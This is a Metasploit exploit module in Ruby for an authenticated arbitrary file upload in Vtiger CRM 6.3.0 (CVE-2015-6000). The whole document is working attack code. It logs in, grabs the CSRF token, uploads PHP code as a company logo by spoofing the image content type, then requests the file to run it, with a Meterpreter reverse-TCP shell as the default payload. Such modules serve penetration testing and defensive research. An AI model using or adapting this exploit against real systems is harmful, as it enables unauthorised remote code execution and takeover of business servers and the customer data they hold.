Vtiger CRM 6.3.0 – (Authenticated) Arbitrary File Upload (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Vtiger CRM 6.3.0 - Authenticated Arbitrary File Upload', 'Description' => %q{ Vtiger 6.3.0 CRM's administration interface allows for the upload of a company logo. Instead of uploading an image, an attacker may choose to upload a file containing PHP code and run this code by accessing the resulting PHP file. This module was tested against vTiger CRM v6.3.0. }, 'Author' => [ 'Benjamin Daniel Mussler', # Discoverys 'Touhid M.Shaikh <admin[at]touhidshaikh.com>' # Metasploit Module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2015-6000'], ['CVE','2016-1713'], ['EDB', '38345'] ], 'DefaultOptions' => { 'SSL' => false, 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'Encoder' => 'php/base64' }, 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [ [ 'vTiger CRM v6.3.0', { } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Sep 28 2015')) register_options( [ OptString.new('TARGETURI', [ true, "Base vTiger CRM directory path", '/']), OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']), OptString.new('PASSWORD', [ true, "Password to authenticate with", 'password']) ]) # Some PHP version uses php_short_code=ON register_advanced_options( [ OptBool.new('PHPSHORTTAG', [ false, 'Set a short_open_tag option', false ]) ], self.class) end def check res = nil begin res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'index.php') }) rescue vprint_error("Unable to access the index.php file") return CheckCode::Unknown end if res and res.code != 200 vprint_error("Error accessing the index.php file") return CheckCode::Unknown end if res.body =~ /<small> Powered by vtiger CRM (.*.0)<\/small>/i vprint_status("vTiger CRM version: " + $1) case $1 when '6.3.0' return Exploit::CheckCode::Vulnerable else return CheckCode::Detected end end return CheckCode::Safe end # Login Function. def login # Dummy Request for grabbing CSRF token and PHPSESSION ID res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vhost' => "#{rhost}:#{rport}", }) # Grabbing CSRF token from body /var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil? vprint_good("CSRF Token for login: #{csrf}") # Get Login now. res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_get' => { 'module' => 'Users', 'action' => 'Login', }, 'vars_post' => { '__vtrftk' => csrf, 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] }, }) unless res fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") end if res.code == 302 && res.headers['Location'].include?("index.php?module=Users&parent=Settings&view=SystemSetup") vprint_good("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}") return res.get_cookies else fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]") return nil end end def exploit begin cookie = login pay_name = rand_text_alpha(rand(5..10)) + ".php" # Make a payload raw. I added this bcz when i making this module. server have short_open_tag=ON vprint_warning("Payload Generate according to short_open_tag=#{datastore['PHPSHORTTAG']}") if datastore['PHPSHORTTAG'] == true stager = '<? ' stager << payload.encode stager << ' ?>' else stager = '<?php ' stager << payload.encode stager << ' ?>' end # Again request for CSRF_token res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vhost' => "#{rhost}:#{rport}", 'cookie' => cookie }) # Grabbing CSRF token from body /var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil? vprint_good("CSRF Token for Form Upload: #{csrf}") # Setting Company Form data post_data = Rex::MIME::Message.new post_data.add_part(csrf, content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"__vtrftk\"") # CSRF token post_data.add_part('Vtiger', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"module\"") post_data.add_part('Settings', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"parent\"") post_data.add_part('CompanyDetailsSave', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"action\"") post_data.add_part(stager, content_type = "image/jpeg", transfer_encoding = nil, content_disposition = "form-data; name=\"logo\"; filename=\"#{pay_name}\"") #payload Content-type bypass post_data.add_part('vtiger', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"organizationname\"") post_data.add_part('95, 12th Main Road, 3rd Block, Rajajinagar', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"address\"") post_data.add_part('Bangalore', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"city\"") post_data.add_part('Karnataka', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"state\"") post_data.add_part('560010', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"code\"") post_data.add_part('India', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"country\"") post_data.add_part('+91 9243602352', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"phonxe\"") post_data.add_part('+91 9243602352', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"fax\"") post_data.add_part('www.touhidshaikh.com', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"website\"") post_data.add_part('1234-5678-9012', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"vatid\"") post_data.add_part(' ', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"saveButton\"") data = post_data.to_s print_good("Payload ready for upload : [ #{pay_name} ]") print_status("Uploading payload..") # in Company Logo upload our payload. res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vhost' => "#{rhost}:#{rport}", 'cookie' => cookie, 'connection' => 'close', 'headers' => { 'Referer' => "http:// #{rhost}:#{rport}/index.php?parent=Settings&module=Vtiger&view=CompanyDetails", 'Upgrade-Insecure-Requests' => '1', }, 'data' => data, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", }) unless res && res.code == 302 fail_with(Failure::None, "#{peer} - File wasn't uploaded, aborting!") end # Cleanup file. register_files_for_cleanup(pay_name) print_status("Executing Payload [ #{rhost}:#{rport}/test/logo/#{pay_name} ]" ) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "test", "logo", pay_name) }) # If we don't get a 200 when we request our malicious payload, we suspect # we don't have a shell, either. if res && res.code != 200 print_error("Unexpected response, probably the exploit failed") end disconnect end end end |